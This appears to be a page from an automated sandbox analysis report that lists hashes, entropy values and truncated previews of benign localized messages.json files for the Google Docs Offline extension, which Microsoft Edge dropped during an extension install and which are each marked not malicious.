C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1880
Entropy (8bit):	4.295185867329351
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/UGG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZZ
MD5:	8E16966E815C3C274EEB8492B1EA6648
SHA1:	7482ED9F1C9FD9F6F9BA91AB15921B19F64C9687
SHA-256:	418FF53FCA505D54268413C796E4DF80E947A09F399AB222A90B81E93113D5B5
SHA-512:	85B28202E874B1CF45B37BA05B87B3D8D6FE38E89C6011C4240CF6B563EA6DA60181D712CCE20D07C364F4A266A4EC90C4934CC8B7BB2013CB3B22D755796E38
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8060_734861427\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
